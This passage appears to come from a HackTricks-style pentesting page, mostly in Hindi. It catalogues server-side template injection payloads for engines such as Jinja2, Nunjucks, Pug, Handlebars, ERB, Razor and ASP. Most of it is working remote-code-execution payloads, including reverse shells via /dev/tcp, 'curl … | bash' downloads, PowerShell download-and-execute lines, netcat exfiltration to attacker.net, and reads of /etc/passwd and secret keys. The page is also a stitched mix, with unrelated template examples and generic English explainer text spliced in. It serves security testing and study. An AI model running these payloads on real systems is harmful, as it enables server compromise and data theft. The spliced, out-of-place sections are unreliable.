<p>Hello, <?=$this->e($name)?></p>

लेआउट टेम्पलेट:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

PHPlib और HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB PHPlib के समान है, लेकिन Pear में पोर्ट किया गया है।

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

Server-Side Template Injection (SSTI)

Introduction

Server-Side Template Injection (SSTI) is a vulnerability that occurs when an application allows user input to be directly embedded into a template or executed as code in a template engine. This can lead to remote code execution (RCE) and other security risks.

Exploiting SSTI in authors.php

In the authors.php file, there may be a potential SSTI vulnerability. This vulnerability can be exploited by injecting malicious code into the template engine used by the application.

To exploit this vulnerability, follow these steps:

  1. Identify the template engine used by the application. Common template engines include Twig, Smarty, and Jinja2.

  2. Craft a payload that will execute arbitrary code within the template engine. This payload will depend on the specific template engine being used.

  3. Inject the payload into the user input field or parameter that is being used in the template.

  4. Submit the payload and observe the response. If the payload is executed as code, you have successfully exploited the SSTI vulnerability.

Prevention

To prevent SSTI vulnerabilities, follow these best practices:

  • Input Validation: Always validate and sanitize user input before using it in a template. This can help prevent malicious code from being executed.

  • Contextual Output Encoding: When outputting user input in a template, use contextual encoding to ensure that any special characters are properly escaped. This can help prevent code injection attacks.

  • Template Engine Configuration: Configure the template engine to use a sandboxed environment that restricts the execution of arbitrary code. This can help mitigate the impact of an SSTI vulnerability.

  • Regular Updates: Keep the template engine and any associated libraries up to date to ensure that any security patches are applied.

By following these best practices, you can reduce the risk of SSTI vulnerabilities in your application.

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Jade (NodeJS)

Jade is a popular template engine for NodeJS. It is used to generate HTML markup with the help of a simple and concise syntax. Jade templates are compiled into JavaScript functions that can be executed on the server-side to generate dynamic HTML content.

Server-Side Template Injection (SSTI)

Server-Side Template Injection (SSTI) is a vulnerability that occurs when user-supplied input is directly embedded into a template engine without proper sanitization or validation. This can lead to arbitrary code execution on the server, allowing an attacker to perform various malicious activities such as data exfiltration, remote code execution, or even complete server compromise.

Exploiting SSTI in Jade

To exploit SSTI in Jade, an attacker needs to identify the injection point and craft a payload that can execute arbitrary code. The injection point can be found in variables, attributes, or function calls within the template.

Here is an example of a vulnerable Jade template:

doctype html
html
  head
    title= pageTitle
  body
    h1= pageTitle
    p Welcome to #{pageTitle}

In this example, the pageTitle variable is directly embedded into the template without any sanitization. An attacker can exploit this by injecting code into the pageTitle variable, which will be executed on the server-side.

To mitigate SSTI vulnerabilities in Jade, it is important to properly sanitize and validate user input before embedding it into the template. Input validation should include checking for malicious characters or patterns that could lead to code execution.

Conclusion

SSTI vulnerabilities in Jade can have serious consequences, allowing attackers to execute arbitrary code on the server-side. It is crucial to implement proper input validation and sanitization to prevent such vulnerabilities. Regularly updating Jade and other dependencies is also important to stay protected against known vulnerabilities.

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

अधिक जानकारी

patTemplate (PHP)

patTemplate एक PHP टेम्पलेटिंग इंजन है, जो XML टैग का उपयोग करके एक दस्तावेज़ को विभिन्न भागों में विभाजित करता है।

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Handlebars (NodeJS)

पथ ट्रावर्सल (अधिक जानकारी यहाँ में)।

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = त्रुटि
  • ${7*7} = ${7*7}
  • कुछ नहीं
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

अधिक जानकारी

JsRender (NodeJS)

टेम्पलेट विवरण
मूल्यांकन और आउटपुट रेंडर करें
मूल्यांकन और HTML एनकोडेड आउटपुट रेंडर करें
टिप्पणी
और कोड की अनुमति (डिफ़ॉल्ट रूप से अक्षम)
  • = 49

क्लाइंट साइड

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

सर्वर साइड

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

अधिक जानकारी

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

उदाहरण सर्वर साइड रेंडर

var pugjs = require('pug');
home = pugjs.render(injected_page)

अधिक जानकारी

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = कोई आउटपुट नहीं
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = त्रुटि
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

अधिक जानकारी

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = त्रुटि
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

अधिक जानकारी

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

अधिक जानकारी

Python

Python में सन्डबॉक्स को छलने के लिए अनियमित कमांड निष्पादन के बारे में ट्रिक्स सीखने के लिए निम्नलिखित पेज की जांच करें:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = त्रुटि
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}




{{os.system('whoami')}}
{{os.system('whoami')}}

अधिक जानकारी

Jinja2 (Python)

आधिकारिक वेबसाइट

Jinja2 एक पूर्ण सुविधाओं वाला पायथन टेम्पलेट इंजन है। इसमें पूर्ण यूनिकोड समर्थन, एक वैकल्पिक एकीकृत सैंडबॉक्स निष्पादन वातावरण, व्यापक उपयोग होता है और यह BSD लाइसेंस का उपयोग करता है।

  • {{7*7}} = त्रुटि
  • ${7*7} = ${7*7}
  • {{foobar}} कुछ नहीं
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}



{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - टेम्पलेट प्रारूप

Jinja2 एक पायथन आधारित टेम्पलेट इंजन है जिसे वेब एप्लिकेशन में डायनामिक कंटेंट बनाने के लिए उपयोग किया जाता है। यह एक पावरफुल और लोकप्रिय टेम्पलेटिंग इंजन है जिसे फ्लास्क, डिजांगो और अन्य वेब फ्रेमवर्क्स में उपयोग किया जाता है।

Jinja2 टेम्पलेट फॉर्मेट में, टेम्पलेट में विभिन्न वेरिएबल्स, एक्सप्रेशन्स, लूप्स, कंडीशनल लॉजिक और फंक्शन्स का उपयोग किया जा सकता है। टेम्पलेट में इनपुट डेटा को प्रोसेस करने के लिए जिनजा टेम्पलेट इंजन का उपयोग किया जाता है और इसे वेब एप्लिकेशन के उपयोगकर्ता को दिखाने के लिए रेंडर किया जाता है।

टेम्पलेट में विभिन्न वेरिएबल्स और एक्सप्रेशन्स को इंजेक्ट करके, हम सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) टेक्निक का उपयोग करके एक वेब एप्लिकेशन को हैक कर सकते हैं। यह एक गंभीर सुरक्षा समस्या हो सकती है क्योंकि इसके माध्यम से हैकर वेब एप्लिकेशन के सर्वर साइड पर अभिशापित कोड को चला सकते हैं।

इस तकनीक का उपयोग करके, हम टेम्पलेट में जिनजा टेम्पलेट इंजेक्शन वेक्टर्स को खोज सकते हैं और उन्हें उपयोग करके वेब एप्लिकेशन के साथ खेल सकते हैं। इसके लिए, हमें टेम्पलेट में विभिन्न वेरिएबल्स और एक्सप्रेशन्स को इंजेक्ट करने के लिए जिनजा टेम्पलेट इंजेक्शन वेक्टर्स की जांच करनी होगी। इसके बाद, हम उन्हें उपयोग करके वेब एप्लिकेशन के साथ खेल सकते हैं और अभिशापित कोड को चला सकते हैं।

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE इसके पर निर्भर नहीं __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Jinja को कैसे उपयोग करें के बारे में अधिक जानकारी:

{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Razor (.Net)

  • @(2+2) <= सफलता
  • @() <= सफलता
  • @("{{code}}") <= सफलता
  • @ <= सफलता
  • @{} <= त्रुटि!
  • @{ <= त्रुटि!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwMAXABQAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

.NET System.Diagnostics.Process.Start विधि का उपयोग सर्वर पर किसी भी प्रक्रिया को शुरू करने और इस तरह एक वेबशेल बनाने के लिए किया जा सकता है। आप https://github.com/cnotin/RazorVulnerableApp में एक संकटग्रस्त वेबऐप उदाहरण ढूंढ सकते हैं।

अधिक जानकारी

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = कुछ नहीं
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

अधिक जानकारी

Mojolicious (Perl)

यहां यद्यपि यह पर्ल है, लेकिन यह रूबी में ERB की तरह टैग का उपयोग करता है।

  • <%= 7*7 %> = 49
  • <%= foobar %> = त्रुटि
<%= perl code %>
<% perl code %>

GO में SSTI

बैकएंड में उपयोग किए जाने वाले टेम्पलेट इंजन की पुष्टि करने के लिए आप इन payloads का उपयोग कर सकते हैं:

  • {{ . }} = टेम्पलेट को इनपुट के रूप में पास किए जा रहे डेटा संरचना
  • यदि पास किए गए डेटा में एट्रिब्यूट पासवर्ड शामिल है, तो पिछला payload इसे लीक करेगा, लेकिन आप इसे भी कर सकते हैं: {{ .Password }}
  • {{printf "%s" "ssti" }} = प्रतिक्रिया में शब्द ssti को आउटपुट करना चाहिए
  • {{html "ssti"}}, {{js "ssti"}} = ये कुछ अन्य payloads हैं जो शब्द "ssti" को आउटपुट करेंगे बिना "js" या "html" के अंतिम शब्दों के। आप इंजन में अधिक कीवर्ड्स के लिए यहां देख सकते हैं here.

XSS शोषण

यदि सर्वर text/template पैकेज का उपयोग कर रहा है, तो XSS को सरलता से प्राप्त करना बहुत आसान है बस अपने payload को इनपुट के रूप में प्रदान करके। हालांकि, यह html/template के साथ ऐसा नहीं है क्योंकि यह उत्तर को HTML कोड में एनकोड करता है: {{"<script>alert(1)</script>"}} --> &lt;script&gt;alert(1)&lt;/script&gt;

हालांकि, Go को पूरा टेम्पलेट परिभाषित करने और फिर बाद में इसे कॉल करने की अनुमति होती है। Payload कुछ इस तरह होगा:
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}

RCE शोषण

html/template मॉड्यूल के लिए दस्तावेज़ीकरण यहां मिल सकता है, और text/template मॉड्यूल के लिए दस्तावेज़ीकरण यहां मिल सकता है, और हाँ, वे वास्तव में अलग होते हैं, बहुत। उदाहरण के लिए, text/template में, आप "कॉल" मान के साथ किसी भी सार्वजनिक फ़ंक्शन को सीधे कॉल कर सकते हैं, लेकिन यह html/template के साथ ऐसा नहीं है।

यदि आप GO में SSTI के माध्यम से RCE खोजना चाहते हैं, तो आपको जानना चाहिए कि जैसे ही आप {{ . }} के साथ दिए गए ऑब्जेक्ट तक पहुंच सकते हैं, आप उसके मेथड्स को कॉल भी कर सकते हैं। इसलिए, सोचें कि पास किए गए ऑब्जेक्ट में System नामक एक मेथड है जो दिए गए कमांड को निष्पादित करता है, आप इसे इस तरह से उपयोग कर सकते हैं: {{ .System "ls" }}
इसलिए, आपको शायद स्रोत कोड की आवश्यकता होगी। ऐसे कुछ कोड का संभावित स्रोत कोड इस तरह होगा:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

अधिक जानकारी

अधिक शोध

अधिक शोध के लिए https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection देखें। इसके अलावा, https://github.com/DiogoMRSilva/websitesVulnerableToSSTI में दिलचस्प टैग सूचना भी मिलेगी।

BlackHat PDF

{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}

संबंधित सहायता

यदि आपको लगता है कि यह उपयोगी हो सकता है, तो पढ़ें:

उपकरण

{% embed url="https://github.com/epinna/tplmap" %}

ब्रूट-फोर्स डिटेक्शन सूची

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

अभ्यास और संदर्भ

RootedCON स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा कार्यक्रम है और यूरोप में सबसे महत्वपूर्ण माना जाता है। तकनीकी ज्ञान को बढ़ावा देने की मिशन के साथ, यह सम्मेलन प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उबलता हुआ मिलन स्थल है।

{% embed url="https://www.rootedcon.com/" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
  • क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित करना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की अनुमति चाहिए? सदस्यता योजनाएं की जांच करें!
  • The PEASS Family की खोज करें, हमारा विशेष संग्रह NFTs
  • प्राप्त करें आधिकारिक PEASS & HackTricks swag
  • शामिल हों 💬 Discord समूह या टेलीग्राम समूह या मुझे Twitter 🐦@carlospolopm** का पालन करें।**
  • अपने हैकिंग ट्रिक्स को हमें PR के माध्यम से सबमिट करके hacktricks repo और hacktricks-cloud repo को साझा करें।